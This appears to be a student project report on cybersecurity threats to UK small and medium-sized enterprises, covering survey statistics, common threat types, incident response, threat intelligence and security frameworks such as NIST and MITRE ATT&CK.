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[bookmark: _Toc159589650]1.0 INTRODUCTION
The current world is driven by technology, and every event happening in the world is somehow interconnected to exchange data, whether between two people, businesses, organizations, or even devices. As technology keeps evolving and advancing, the risks of Cybersecurity attacks are also evolving, making it imperative for every sector to adopt and implement evolving cybersecurity architecture to ensure the security of their assets.   
The UK Department for (BEIS) adopts the following criteria to classify businesses in the UK: Small businesses are defined as having between 0 to 49 employees. Medium-sized businesses are classified as possessing 50 to 249 employees, this categorization is determined by the employee count and is frequently utilized to report and establish policies for businesses [1].
The impact of cyber security attacks does not just lead to the loss of information or data of an enterprise, it extends to affect the reputation of a company, affects the supply chain, and also has legal implications on the affected enterprise, which can further affect business continuity [2].
The worst cases of cyber-attacks occurred during the pandemic; were companies were compelled to transition their operations to the digital realm. without enough time to implement proper security measures to protect their assets, cyber attackers saw this as an opportunity to target Small and medium-sized enterprises (SMEs) with poorly configured security architectures. They exploited various vulnerabilities in these SMEs, by performing spear phishing and social engineering attacks, through email scams, brute force, etc. They targeted end-point devices and human error vulnerabilities [3].  These mounting cybersecurity threats were particularly targeted at SMEs, with employee strength of over 500. Even before the pandemic, SMEs often faced challenges like limited budgets and hiring skilled personnel. As the pandemic continued to take its toll on the broader economy, tighter budgets were seen also to affect cybersecurity spending strength by SMEs [4]. 
  
Based on McKinsey's research [4], SMEs have not received adequate cybersecurity support compared to larger enterprises. The cybersecurity market for SMEs, valued at over $40 billion, has been growing at more than 8 percent annually until recently. Within the SME category, there are three distinct segments based on IT requirements and personnel size: 
Limited maturity: This includes small offices and some small enterprises with fewer than ten full-time employees, operating in low-digitization industries, and lacking IT resources [4]. 
Medium maturity: SMEs with 100 to 499 full-time employees, operating in medium-digitization industries, and possessing some IT resources. 
High maturity: Involving SMEs with over 500 full-time employees, operating in high-digitization industries, and having dedicated IT resources. 
Each segment has unique cybersecurity needs. For instance, the limited-maturity segment closely resembles the consumer segment, with around 90 percent of cyber spending focused on endpoint security for most companies. 
Based on a report from the European Commission, SMEs are integral to the European Union's economy, constituting 99% of all businesses and providing employment for over 100 million people. Additionally, SMEs account for more than 50% of Europe's Gross Domestic Product and play a crucial role in enhancing value across various sectors of the EU economy. Not only do they facilitate digital transformation, but they also serve as a fundamental component of the EU's social structure [3]. 













1.1 [bookmark: _Toc159589651]Overview of Cyber Security Concepts

[bookmark: _Toc159589652]1.1.1 Threats
Organizations and individual users are struggling to stay ahead of the constantly changing and complex landscape of cyber threats [5]. SMEs are always targets for cyber threats, due to inadequate and sophisticated security infrastructures. According to the 2023 threat landscape 2023, it is stated that SMEs will face more identifiable risks at a striking scale, malware attacks are evolving in techniques, and are been used for financial gains, and geopolitical chaos will lead to more cyber threats in different sectors of SMEs [6]. Anything with the opportunity to exploit a vulnerability in a system or that impacts the availability, confidentiality, and integrity of information in a system or network is a threat. An attack agent with the ability to cause an eruption in a system which can lead to negative impacts like loss of access to service, data, and financial loss is a threat [7]. 
A threat actor can tend to carry out an attack but has no opportunity to do that. For example, in an organization with a robust security infrastructure and a patch management program and policies, there may be no vulnerabilities in that system, hence a threat actor with the ability to perform an actor might likely not be able to do so because there's no opportunity for him in the system [8] .
Various kinds of threats include Web-based threats, Phishing, threats to Web applications, Spam, Denial of Service attacks, Data breaches, Insider threats, Botnets, Physical threats, Ransomware, Malware, and threats from the External environment [5]. 





[bookmark: _Toc159589653]1.1.2 Threat Analysis 
Based on a study [9], it is noted that the most common categories of threats discovered during threat analysis are:
· Accidental threats: these are threats caused by human error which can expose the organisation to attack. E.g misconfiguration of security devices or outdated security patches [9].
· External or Intentional threats: these are threats caused by malicious agents, to gain unauthorized access to exploit the system [9].
· Internal threats: this is one of the most dangerous threats that is often overlooked by organizations. Most organizations put more attention and resources on external threats with less attention on internal threats. An employee with malicious intent to steal sensitive data can become a threat agent for a cyber threat [9].  
Therefore, threat analysis aims to assess an organization's security protocols, processes, and procedures to identify potential threats and vulnerabilities, as well as to understand possible attacks before they happen. [9].
[bookmark: _Toc159589654]1.1.3 Vulnerability
A vulnerability represents a potential weakness or defect within a system's database, software, or infrastructure. Such vulnerabilities may also exist within controls or processes. [7].
A Vulnerability is classified into two groups; 
· Technical vulnerabilities: could be bugs found in a line of code, software, or errors in hardware configuration.
· Human vulnerabilities: these are vulnerabilities caused due to human error. A typical example is an employee falling victim to a phishing attack [7].

[bookmark: _Toc159589655]1.1.4 Risk

A cyber risk refers to the probability of an attack happening, and the potential impact of that attack scaled. The ability of a threat to act on a vulnerability discovered in a system is a risk to the asset owner. Certain factors could contribute to risks. Risk= threat x vulnerability [8]
No matter how secure a system is, it's likely that a risk can still be found, hence the need for frequent risk assessment and management [7].

[bookmark: _Toc159589656]1.1.5 Ransomware 
Ransomware remains a major cyber threat in the UK, with data theft and encryption as primary tactics for cybercriminals seeking profit. Data extortion attacks, involving stolen but not encrypted data, are on the rise. From September 2022 to August 2023, 297 reports of ransomware activity were received, leading to 28 NCSC-managed incidents, 18 categorized as C3 and above. Top reporting sectors include academia, manufacturing, IT, finance, and engineering, though there is no specific evidence of academia being targeted [10].

[bookmark: _Toc159589657]1.1.6 Cyber-attack
As cyber-attack has become so frequent that it is now a recurring incident in SMEs. An attack occurs as a deliberate act involving malicious activities targeted at disrupting the smooth operation of an organization. The goal of a cyber-attack is usually to breach the information or system of an organization. Cyber-attack occurs due to several reasons like:
· Limited or insufficient funds to implement a more sophisticated and efficient security architecture.
· Inadequate and well-experienced security specialist.
· Cost of training employees on recent cyber-attacks. 





[bookmark: _Toc159589658]1.1.7 Incident Management
NCSC aids Ukraine post-Russia invasion, enhancing cyber resilience. Despite ongoing cyber-attacks, the impact was mitigated due to Ukraine's robust cybersecurity and support from international partners, including the UK's cyber program. Collaboration minimizes the expected impact [10].
[bookmark: _Toc159589659] 1.1.8 Rationale for Cybersecurity Threat Analysis in SMEs 
Due to the complexity of the structure of different SMEs, the need for conducting a rigorous analysis of cybersecurity threats in SMEs becomes multifaceted. Firstly, SMEs frequently serve as suppliers or partners in larger ecosystems, making their vulnerabilities a potential channel for broader cyber threats. Secondly, the financial and reputational damage resulting from successful cyberattacks can be disproportionately impactful for smaller enterprises, necessitating proactive measures to mitigate these risks. 

Aims 
This project aims to determine the key threats in the UK based on available credible data, analyze their impact on Small and Medium-sized Enterprises, and implement adequate mitigation strategies.      
  
Objectives: 
· Review credible data on cyber security breaches survey in the UK, between 2020 to 2023 to identify the key threats affecting SMEs.
· Review the cybersecurity threat landscape
· Adopt a suitable methodology to meet the aim of this project
· Simulate attacks based on identified key threats
· Propose mitigation techniques
· Analyse the outcomes and provide recommendations 
[bookmark: _Toc159589660]1.2 Significance of Study

The significance of this study is to analyze major threats and attacks affecting SMEs and implement necessary mitigation. Threats like ransomware, phishing, and insider threats are frequently occurring incidents affecting SMEs. 

Structure of the project
This project is categorised into three different parts. The first part is the theoretical work that forms the basis of this project. The theoretical work involves reviewing different works of literature, journals, and research papers about cybersecurity in SMEs, and how they handle threat mitigation.
The second part discusses the problem formulation and the proposed design to be implemented in analyzing the threats; in this case the adoption of MITRE ATT&CK cyber security framework or any other available framework to perform different attacks on the proposed network. A replica of a sample SMB or SME network system infrastructure will be set up in a virtual environment, like a VirtualBox or VMWare station, and different virtual machines will be installed to represent computers and servers in that enterprise. A penetration testing will be performed to check the weaknesses and vulnerabilities in this system, and based on the vulnerabilities discovered, some attacks will be carried out.
The third part of this project will detail the findings of the attacks performed. In this case, the details of each vulnerability discovered during the pen test, details about the attacks, and whether they were successful or not? and what mitigation techniques were implemented to prevent the success of these attacks.
Chapter one gives an overview of the project, detailing the aim and objectives required for the completion of this project. It provides a guide and structure as to how the researcher will approach the project.
Chapter two is the research and literature review. It will discuss different key areas of this project topic; like different types of threats existing in SMEs, the current cyber security threat landscape, vulnerabilities in SME networks, different cyber security testing frameworks, current threat mitigation techniques, and related work.
Chapter three is the research methodology. It details the research methodology Research Philosophy, Approach, Time Horizons, Design/Strategy, Choices, Techniques, and Procedures that will aid in the completion of the project. The research onion methodology proposed by Sauders [11] will be used as a guide for completing chapter three of this project.  
Chapter four is the design and implementation phase of this project. It outlines the proposed design and the implementation of this project. Beginning with the problem formulation, solution design, and then implementation. For this project, a prototype of the proposed SME network infrastructure for performing the attacks will be designed, detailing different network servers, network security devices, and configuration details, the testing bed will be set up using a virtual environment like Virtual Box, or Azure with different virtual machines.
Chapter five is where the testing and evaluation details will be documented. It details the outcome of the experiment conducted based on the proposed design and implementation in chapter four.

Chapter Six provides details about the proposed mitigation techniques and patterns that could be adopted by SMEs to ensure a more secure network.




[bookmark: _Toc159589661]Chapter 2
[bookmark: _Toc159589662]2.0 Literature Review

Introduction
The aim of this chapter is to review different works that are related to the project topic, and that have been under-studied by other researchers. Some related aspects that will aid the completion of this work will also be discussed.  Different existing and emerging threats affecting SMEs and their mitigation techniques will be discussed. This chapter will also outline available cyber security frameworks available for penetration testing.

[bookmark: _Toc159589663]2.1 Review of Cyber Security Threat Landscape for 2020 - 2023 in UK SMEs.
For the past 4 years, according to a survey conducted by the UK National Cyber Security Centre, the following findings were analyzed according to key aspects of cyber security [12]. 
In 2023, the NCSC received over 2,005 reports of cyber threats on SMEs, marking a nearly 64% increase from the previous year's 1,226. The organization issued 24.48 million notifications to inform entities of cyber incidents through its automated Early Warning service. Notably, there were 327 incidents involving the exfiltration/extortion of data, indicating an 18.5% increase from the previous year.
According to a survey by [13], 38% of SMEs in the UK experienced or identified a cyber-attack in the past. Over 82% of the SMEs reported phishing attacks, and 25% identified malware, ransomware, and denial of service attacks [12].
[bookmark: _Toc159589664]2.1.1 Incident response: In the event of a cyber breach, being able to detect and respond swiftly to attacks is very crucial, hence incident response is necessary for minimizing operational, financial, and reputational harm. According to the report from [13], 84% of SMBs in the UK express their intention to notify their board, and 73% indicate their willingness to carry out an impact assessment. Nonetheless, a mere 18% of SMEs have a documented incident management plan, with qualitative insights indicating an informal approach often relying on internal expertise or external collaborators such as IT providers.
[bookmark: _Toc159589665]2.1.2 Vulnerability management: cyber-attacks are looking out for vulnerabilities in a system, this is why frequent updates and patches are essential to guide against any new vulnerabilities. Based on a survey conducted in 2022 on SMBs in the UK, 82% of SMEs have anti-malware protection up-to-date, 38% implemented a patch management policy, 34% used a security monitoring tool, 17% conducted a cyber vulnerability audit, and 13% relied on threat intelligence.
[bookmark: _Toc159589666]2.1.3 External engagement: 48% of SMEs relied on external and third-party information in resolving cyber security issues.43% adopted an insurance scheme, 39% used outsourced cybersecurity services, and only 6% had essential certification in cybersecurity.
[bookmark: _Toc159589667]2.1.4 Internal activity: the internal activities indicate the different approaches each organization took in responding to threats. From this survey, 22% of SMEs adopted and implemented a cyber security strategy, 32% conducted a risk assessment, 16% performed awareness training, and 7% assessed risks.
The research above indicates that the researcher's focus was mainly on SMEs who are online and those who are not online, were not considered eligible for the survey. Does it mean those SMEs do not encounter any form of threat? I believe they do; offline businesses can experience insider threats, impersonation, and social engineering threats.
In conclusion, the findings from the survey emphasize the for need for SMEs to prioritize cyber security approaches and invest more in incident response mechanisms, vulnerability management, external engagement, and internal activities. By addressing these key aspects of cyber security, SMEs can better protect themselves against evolving cyber threats and safeguard their operations, finances, and reputation in an increasingly digitalized landscape.
[bookmark: _Toc159589668]2.2 Cyber Threats Affecting SMEs
Based on the UK Cyber Security Breaches Survey Report focusing on SMEs from 2020 to 2023[14] [15, 16] [17], among organizations reporting cyber threats, phishing attacks are overwhelmingly perceived as the most disruptive, with 62% - 67% of businesses and 65% of charities identifying them as such. SMEs have experienced a high rate of cyber-attacks for the past four years as a result, and several reasons could be responsible for this. According to the 2023 cyber threats survey [16] . It indicates that more attacks were focused on businesses, where 59% were SMEs, while 69% were large enterprises. According to a report by CNBC, it is reported that 43% of the enterprises are SMEs, which has cost the companies a great loss of up to [10]. 
Research on the impact of cyber-attacks shows that these attacks were successful because some SMEs could not afford to implement a more robust security architecture, and insufficiently skilled cyber security experts, while small enterprises undermined the impact of these threats, some said it wouldn't happen to them, and some couldn't afford the cost of funding a security awareness training and security auditing solutions [5]. 
The researcher highlights the importance for SMEs to comprehend the implications of cyber threats and the possible future impacts on their organizations. [5]
Understanding the cost of cyber-attacks is very crucial for SMEs, this is why the UK government invested over £2.4 billion in funding the National Cyber Security Centre to boost IT security infrastructure in 2016, yet cyber-attacks are still on the increase. This dominance is expected, as approximately half of these entities only recall encountering phishing attacks and no other cyber security breaches. However, it's crucial to examine organizations reporting breaches other than phishing attacks and their perceptions of the most disruptive types of breaches [15]. 
Table 1 below indicates that even within this subset, phishing attacks remain the primary disruptor, closely followed by impersonation attacks. Interestingly, denial-of-service attacks appear to have had a greater disruptive impact on charities compared to businesses. However, as of 2023, the percentage of businesses that experienced phishing threats reduced from 67% in 2020 to 59%, while impersonating increased from 11% to 35% in 2023. This is a clear indication that threat actors are now more interested in breaching organizations through impersonation tactics [10]. 
Table 1 is a summary of the most disruptive cyber threats experienced by different SMEs in the UK over the past four years. Each threat indicates the percentage of SMEs that experienced disruption due to the impact of the threats listed in the table.

Proportion of SMEs identifying specific categories of breaches or attacks as the most disruptive, excluding organizations that only reported phishing attacks in the past year[image: ]
[bookmark: _Toc159589628]Table 1 Most disruptive cyber threats breaches in SMEs for four years [15] [14] [16] [17]
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[bookmark: _Toc159589527]Figure 1 bar chart showing the most disruptive threats in SMEs [14] [16] [15] [17]

From the above review of cyber threats survey and analysis, the first aim of this project has been achieved, and the most disruptive threats can be considered as the key threats affecting SMEs. These key threats which are Phishing, Impersonation, Insider threats, DOS, Malware, Privilege Escalation, Social Engineering, and Ransomware have been a consistent threat affecting SMEs. Mathieus, a cyber security researcher [18] discusses key threats affecting SMEs, and those key threats include Phishing, Malware, Ransomware, Insider threats, and Human error.  He explains that SMEs are often targeted by cyber-attacks for several reasons. “Firstly, SMEs typically have less robust cybersecurity infrastructure and protocols compared to larger organizations, making them easier targets for attackers. According to CNBC, 43% of hacks target small businesses, resulting in an average cost of US$200,000 per incident. However, despite the prevalence and cost of cyber-attacks, only 14% of small businesses have effective measures in place to defend against them [19]”. This project will only focus on a few of these key threats;

1. Phishing threats: Phishing attacks have been particularly prevalent in the UK, with SMEs often targeted due to their limited cybersecurity resources. The UK's Cyber Security Breaches Survey consistently highlights phishing as the most common type of attack faced by businesses. The National Cyber Security Centre (NCSC) has issued numerous warnings and guidelines to help businesses recognize and defend against these types of attacks, especially those exploiting the COVID-19 pandemic as a lure. The phishing threat is now the most commonly experienced attack by businesses. According to the survey report for 2022 and 2023, 83% to 79% respectively of businesses, experienced a phishing attack [16].
It involves tricking a user to click on a link that gives the threat hunters access to the user's network. They often utilize different forms of links video links, email, website links, and sometimes social media links in the form of friend requests.
2. Malware, Viruses, and Spyware threats: the 2022 and 2023 reports indicate that 12% to 11% of businesses experienced a malware attack. This particular attack occurs when threat hunters insert harmful code into a computer system or corporate network. Methods ranging from accessing compromised devices to interacting with malicious links found in spam emails or on websites are often used, and once the malicious code is inside the system network, it either corrupts the data or provides a back door for the threat hunters.
3. Ransomware threats: This period saw a significant rise in ransomware attacks against SMEs, partly due to the vulnerability of their often less sophisticated cybersecurity systems. Data extortion attacks, involving stolen but not encrypted data, are on the rise. From September 2022 to August 2023, 297 reports of ransomware activity were received, leading to 28 NCSC-managed incidents, 18 categorized as C3 and above. Top reporting sectors including academia, manufacturing, IT, finance, and engineering, though no specific evidence exists of academia being targeted [10].
This particular attack is a major threat to SMEs, as they usually lack sophisticated cybersecurity structures to counter this threat, which leaves them with the option of either paying a huge amount before gaining back access to their data or losing access to it permanently. Companies like British Airways, JW Marriot, and Google, have had to pay millions of Pounds as fines for data breaches of their customers due to ransomware attacks [20]. The EU GDPR has imposed huge restrictions on how businesses and organizations collect and store user data, anything contrary to that policy, now attracts a fine. The reports show that ransomware attacks increased from 4% in 2022 to 7% in 2023 of business [16].  The high-profile attack on the NHS in 2017 served as a wake-up call, leading to increased awareness and investment in cybersecurity defenses across all sectors, including SMEs. The NCSC has been actively involved in providing advice and support to help businesses defend against ransomware. [21]
4. Denial of service (DOS) threats: This happens when a malevolent entity floods a target system with excessive traffic, making it unavailable to legitimate users. Techniques such as traffic flooding, ping of death, and SYN/ACK flooding are employed to achieve this, DNS amplification, and the use of botnets. Protection measures include firewalls, intrusion detection systems, load balancers, and vigilance for unusual traffic patterns, with response plans to minimize the impact of potential attacks [22]. According to [16] [14] , 10% to 7% of businesses experienced DDOS attacks between 2022 to 2023 respectively.

5. Insider Threats/Human Error: The most overlooked attack which is a major threat to businesses is the Insider threat. This threat pertains to security threats that arise from people inside an organization, like employees, contractors, or business associates, who possess internal knowledge about the organization's security protocols, data, and IT systems. In a survey study by [14] the researcher classifies insider threats from different perspectives (intention and type of threat actors) [23]. Unauthorized accessing of computers, files, or networks by staff is a typical example of an insider threat. A study on insider threats by [24] explores insider threats, as Individuals who have elevated access to an organization's resources, and their potential to disrupt proper functioning, leading to direct (financial) or indirect (reputational) consequences. This report details results from a preliminary investigation into three kinds of insider incidents—malicious, negligent, and benevolent—and how they correlate with the implementation of cybersecurity protocols.


6. Remote Work Vulnerabilities
The transition to remote work amid the COVID era, exposed new vulnerabilities, with UK SMEs scrambling to secure remote access and protect against an increased risk of cyberattacks. The NCSC provided specific guidance for securing remote working environments, including recommendations for securing VPNs, using multi-factor authentication, and educating employees about the risks of using personal devices for work purposes [25].

7. Cloud Security Threats
As UK SMEs increasingly adopt cloud services for flexibility and cost savings, they also face heightened cloud security threats. Misconfigurations and inadequate access controls have led to data breaches. The NCSC has published cloud security principles to guide businesses in securing their cloud environments [26].
8. Legal and Regulatory Implications
UK SMEs are subject to stringent data protection laws, specifically the UK General Data Protection Regulation (UK GDPR) and the Data Protection Act of 2018. These regulations impose significant penalties for data breaches, emphasizing the need for robust cybersecurity measures to protect personal data. Compliance with these regulations has driven improvements in cybersecurity practices among SMEs [27].
9. Collaboration and Threat Intelligence Sharing
There has been a growing emphasis on collaboration and sharing of threat intelligence within the UK. Initiatives like the Cyber Information Sharing Partnership (CiSP) allow UK businesses, including SMEs, to share information about cyber threats and vulnerabilities, enhancing collective defense capabilities [28].
10. Impersonation threats: As of 2023, Impersonation threats were reported by 25% of SMEs in the UK [16], as one of the most disruptive threats. It involves attackers pretending to be someone else, like a trusted user, authority figure, or reputable organization, to deceive individuals or gain unauthorized access to systems or information. Examples include email spoofing, CEO fraud, tech support scams, social media impersonation, pharming, credential harvesting, and identity theft. To mitigate these threats, individuals and organizations should use security measures like multi-factor authentication, email authentication protocols, user awareness training, and thorough verification processes. Staying informed about emerging tactics and remaining vigilant online are also important.
Conclusion
For UK SMEs, the period between 2020 and 2024 has been marked by a rapid evolution in the cybersecurity threat landscape, influenced by global trends and local factors such as regulatory requirements and national cybersecurity initiatives. The response has involved not just technological solutions but also regulatory compliance, employee education, and sector-wide collaboration to mitigate risks. The support provided by national bodies like the NCSC, along with adherence to legal frameworks like the UK GDPR, has been instrumental in guiding SMEs through the challenges of this dynamic threat environment.

2.3 [bookmark: _Toc159589669]Setting up a robust cyber security architecture in SMEs


[bookmark: _Toc159589670]2.3.1 Incident Response (IR)

Cyber Security Incident Response focuses on the organization's capability to respond to and recover from security incidents effectively. According to [29], incident response encompasses the preparation, detection, containment, eradication, and recovery from cyber incidents, alongside lessons learned to improve future security posture. The effectiveness of an incident response is often measured by the speed and efficiency with which an organization can return to normal operations and minimize damages [30]. An effective incident response plan often involves a series of steps that an organization takes in response to an incident. Research by [31], focuses on evaluating the importance of administrative and technical mitigation controls in responding effectively to cybersecurity threats.
These steps typically include:
· Preparation: involving the creation of policies, procedures, and tools to prepare for a cyber incident.
·  Identification: entailing the detection and assessment of the cyber incident's nature.
· Containment: focusing on halting the spread of the incident and segregating compromised systems to avert additional harm. 
· Eradication: the process of eliminating the threat from the organization's environment. Recovery aims at reinstating systems and data to their regular functioning state, confirming the absence of any residual threats.
· Lessons Learned: Analyzing the incident and the response to improve future readiness and response.
[bookmark: _Toc159589671]2.3.2 Cyber Threat Intelligence (CTI)

Cyber Threat Intelligence involves analyzing information about adversaries and their tactics, techniques, and procedures (TTPs) to make knowledgeable choices regarding an organization's security. CTI is used to understand the threats an organization faces, anticipate malicious activities, and inform security strategies. Anzel Berndt [32] proposes that, encouraging SMEs to adopt Cyber Threat Intelligence could advantage SME managers by enhancing their understanding of cyber resilience, and guiding them in initiating its implementation through specific actions and a sequence recommended by expert experience. CTI might be a reliable source of detecting and preventing threats before their impacts are felt by an organization, but it is also a very expensive and complicated process to implement. Large enterprises might find it a bit easy to implement due to their financial strengths and vast network resources, but this is not the case for SMEs with little financial strength and limited resources. [33] Addresses the difficulties in deploying scalable threat intelligence within the current intricate threat environment and digital infrastructure. Grasping the essence of insider threats and the associated threat landscape aids in developing mitigation approaches, encompassing non-technical measures.. 
· Activities in CTI include:
· Collection: Gathering data from various sources about threats and vulnerabilities.
· Analysis: Analyzing the collected data to identify patterns and behaviors of cyber adversaries.
· Dissemination: Sharing actionable intelligence with relevant stakeholders within the organization.
· Integration: Applying the intelligence to enhance cybersecurity measures, such as updating security policies, configuring security tools, and training staff.

[bookmark: _Toc159589672]2.3.3 Incident Response (IR) vs. cyber–Threat Intelligence (CTI)

· Comparison and Integration 
· Purpose: IR focuses on responding to and managing cyber incidents after they occur, while CTI aims to proactively understand and anticipate threats to prevent or mitigate future incidents.
· Actionability: IR actions are reactive, taken in response to specific incidents. CTI actions are proactive, and aimed at preventing incidents based on the intelligence gathered.
· Integration: While distinct, IR and CTI should be integrated for a comprehensive cybersecurity strategy. Intelligence from CTI can inform incident response plans, making them more effective. Conversely, insights gained from managing incidents can feed back into CTI to refine threat analysis and prediction

[bookmark: _Toc159589673]2.3.4 Cyber Threat Awareness Training Program
[34] Emphasizes the difficulties in identifying and detecting insider threats within organizations in both the public and private sectors, particularly those integral to a nation's critical infrastructure.  [35] Examine the impact of COVID-19 on remote work practices and the cybersecurity threat landscape. It is also advisable for organizations to provide more customized cybersecurity awareness training that addresses the specific threats associated with remote working.  
· Intrusion Detection Using Machine Learning Classifiers
[36] conducted an investigation, employing both quantitative and qualitative approaches to explore the obstacles faced when integrating machine learning classifiers (MLCs) within the SME ecosystem, and examining how operations are adapted to facilitate business expansion.
The study by [36] leverages global research from various fields to pinpoint gaps and opportunities in cyber security for UK SMEs. It will delve into the methodology of cyber-resilience within small and medium-sized enterprises, proposing an integrated approach that employs prescriptive malware analysis, detection, and response. This approach, utilizing open-source solutions, aims to identify and mitigate new emerging threats [37]. Through rigorous testing and validation, alongside the application of efficient algorithms and techniques for anomaly detection, safety, and security, the efficacy of this approach in improving SMEs' cyber-defense mechanisms and strengthening their overall cyber-resilience is showcased. Additional significant contributions include [38].
In summary, Incident Response and Cyber Threat Intelligence are essential, interconnected aspects of an organization's cybersecurity efforts. While IR deals with the immediate response to incidents, CTI focuses on the broader understanding of cyber threats to prevent or minimize the impact of future incidents.

[bookmark: _Toc159589674]2.4 Challenges of Mitigating Cyber Threats in SMEs
· Complexity in Government policies
According to [39] the researcher proposes the need for SMEs to adopt a more cyber-resilient approach to preventing cyber-attacks that is easy to implement and operate by every sector of the organization. He also discussed the challenges faced by some SMEs in implementing certain security measures against cyber-attacks. Some of these measures are influenced by governance, unassigned or unavailability of adequate resources, policies, training, awareness, and the ability to manage business continuity [40]. To add to this, it is important to note that certain policies usually involve complex procedures like planning, testing, and collaborating with external entities. 
The writer presents a framework and guidelines on cyber resilience for SMEs, and how they can be implemented, with an emphasis on various dimensions that are implored in cyber-resilient implementation, including its policies  [41].
· Variations in digitalization standards
Another researcher [42] highlights the challenges of setting up robust cybersecurity measures due to variations in the digitalization of manufacturing industry standards. faced by SMEs in industrial sectors. Pointing out the recent adoption of Industry 4.0 megatrend engineering research. Industry 4.0 signifies the fourth industrial revolution, characterized by the digital transformation of manufacturing and the integration of technologies like the Internet of Things (IoT), artificial intelligence (AI), and data science into industrial processes.. while the term "megatrend" is used to describe a prominent and anticipated pattern or movement expected to have a substantial impact on both business and society at large. However solid this research might be, it poses a challenge to SMEs with limited resources, due to its complexity. This writer recommends a practical and valuable tool for identifying and addressing cybersecurity threats using a structured assessment approach that will help to detect the causes of attacks, and also identify possible mitigation [42].
· Inadequate Education and Awareness for employee
On the aspect of cybersecurity education and awareness programme, [39] emphasizes the need for SMEs to develop and implement more robust awareness training on cybersecurity. He points out that a lot of SMEs are facing cyberattacks due to easy targets on the part of their employees who lack adequate cyber awareness training on recognizing phishing emails or securing their personal data and login credentials.. This study discusses the security difficulties encountered by SMEs and also recommends a high-level cybersecurity education and awareness strategy to be adopted by both small and medium, -sized organizations. This programme is developed from the study of the current literature obtained through a combined assessment of research and practices. Other challenges could be a lack of sufficient finance to set up a robust security infrastructure, Dependency on Third-party Vendors, and absence of an incident response plan and compliance requirements.
	
In conclusion, while SMEs face significant challenges in navigating the complexities of cybersecurity, adopting a comprehensive, informed, and adaptable approach can significantly mitigate these risks. By focusing on resilience, continuous improvement, and especially on empowering employees through education, SMEs can create a robust cybersecurity posture that protects against both current and emerging threats. This holistic strategy not only safeguards valuable assets and data but also supports the sustainable growth and competitiveness of SMEs in an increasingly digital and interconnected world.
[bookmark: _Toc159589675]2.5 Cyber Security Framework
Cybersecurity frameworks provide a structured approach to managing and improving an organization's cybersecurity posture. Some of the cyber security frameworks are explained below;

[bookmark: _Toc159589676]2.5.1 NIST Cybersecurity Framework (CSF):
NIST framework, created by the National Institute of Standards and Technology (NIST), includes five fundamental functions: Identify, Protect, Detect, Respond, and Recover. This framework offers a risk-based strategy for cybersecurity management [43].
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[bookmark: _Toc159589528]Figure 2 NIST Framework [44]

[bookmark: _Toc159589677]2.5.2 ISO/IEC 27001
The ISO/IEC framework, issued by the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC), centers on an Information Security Management System (ISMS). It highlights the Plan-Do-Check-Act (PDCA) cycle to foster continuous improvement [44].




[image: ]
[bookmark: _Toc159589529]Figure 3 ISO-IEC Framework [45]


[bookmark: _Toc159589678]2.5.3 CIS Critical Security Controls (CIS CSC): 
Developed by the Center for Internet Security (CIS), this framework comprises 20 prioritized controls for optimal cybersecurity effectiveness. It is specifically designed to mitigate common and high-impact security threats in organizations [45].
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[bookmark: _Toc159589530]Figure 4 CIS Framework [46]



[bookmark: _Toc159589679]2.5.4 COBIT 
COBIT, established by the Information Systems Audit and Control Association (ISACA), concentrates on aligning IT goals with business objectives. It is structured into domains and processes, offering an extensive governance framework [46].
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[bookmark: _Toc159589531]Figure 5 COBIT Framework [47]


[bookmark: _Toc159589680]2.5.5 FAIR 
FAIR is a quantitative risk analysis framework that sets a standard for comprehending, analyzing, and quantifying information risk. Developed by the Open Group, FAIR highlights the application of probabilities and monetary values for risk assessment [47].
[bookmark: _Toc159589532]Figure 6 FAIR model[image: ]

[bookmark: _Toc159589681]2.5.6 OSINT FRAMEWORK
Open-Source Intelligence (OSINT) is described as the gathering and examination of information that is publicly accessible from diverse sources, encompassing the internet and social media platforms such as Facebook, Twitter, and WhatsApp. This information is utilized to profile individuals and businesses for intelligence purposes. Although there is substantial discussion and investigation into the risks and vulnerabilities linked to the use of social media, this study seeks to reduce bias in comprehending these matters [48]. The OSINT Framework is a structured approach used by intelligence analysts and researchers to gather information from publicly available sources on the internet [49]. It categorizes information into various sections and provides a comprehensive list of tools, resources, and techniques for collecting and analyzing open-source intelligence. Users can access a variety of tools and methodologies organized by information categories, and the framework is continuously updated with new contributions and recommendations. Overall, it serves as a valuable resource for individuals and organizations involved in intelligence gathering, 
investigations, cybersecurity, and other related fields [49].















[bookmark: _Toc159589533]Figure 7 OSINT Framework

[bookmark: _Toc159589682]2.5.7 MITRE ATT&CK 
It is developed by the MITRE Corporation, it offers an extensive knowledge base of adversary tactics and techniques. It is used for threat intelligence, red teaming, and improving detection and defense strategies for better security planning for organizations against cyber-attacks [50].
Fig. 8 contain a summary of the MITRE ATT&CK techniques and procedures, which will be relevant to achieving the aim of this project,
[image: ]
[bookmark: _Toc159589534]Figure 8 MITRE ATT&CK Model

[bookmark: _Toc159589683]2.5.8 Zero Trust Security Model:
This particular framework is not tied to a specific organization or standard, but a holistic approach to security. It assumes no implicit trust and verifies everything. Enforces strict access controls, continuous monitoring, and adaptive security measures [51].
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[bookmark: _Toc159589535]Figure 9 Zero Trust Principle [55]

In conclusion, Cybersecurity frameworks only provide organizations with a structured set of guidelines for protecting information systems, detecting cybersecurity events, responding to incidents, and recovering from attacks. These frameworks often include standards, guidelines, and practices to ensure that an SMEs information security measures are incorporated with its business objectives. They serve to ensure organizations assess their current cybersecurity posture, identify areas for improvement, and implement strategic security measures tailored to their specific needs and threats. However, without proper and well implemented security system, just having an understanding of these frameworks, won’t guarantee the safety of an organization from attacks.


[bookmark: _Toc159589684]2.6 Ipsos (Institute Public de Sondage d'Opinion Secteur)

Ipsos is commissioned by the UK government to carry out this survey.
Ipsos is a multinational market research and consulting firm with its headquarters in Paris, France. Founded in 1975, Ipsos is among the largest survey-based research companies globally. The firm provides a range of services, including market research, public opinion polling, and data analytics. Ipsos conducts research in various industries, offering insights and strategic advice to help organizations make informed decisions. With a presence in over 90 countries, Ipsos is recognized for its expertise in understanding consumer behavior, social trends, and market dynamics [55]. 
The company is committed to delivering accurate and reliable information to support clients in navigating the complexities of the business and social landscape [55].
This survey is usually conducted via telephone call, before the interview, participants are usually informed about the survey before the survey date. Participants are representatives from different organizations. During the interview, the interviewer from Ipsos calls on each representative to respond to some survey questions. Participating in this survey is voluntary, and all data are confidential, and no company personal details are always included in the report. The survey is nontechnical and participants do not require any knowledge of IT. 
The survey is usually open to all sectors of businesses, including those who are not affected by cyber security issues. SMEs, Large organizations Charities, and educational institutions are all included in the survey.
The comprehensively capture all breaches experienced by organizations, encompassing both accidental and intentional breaches.
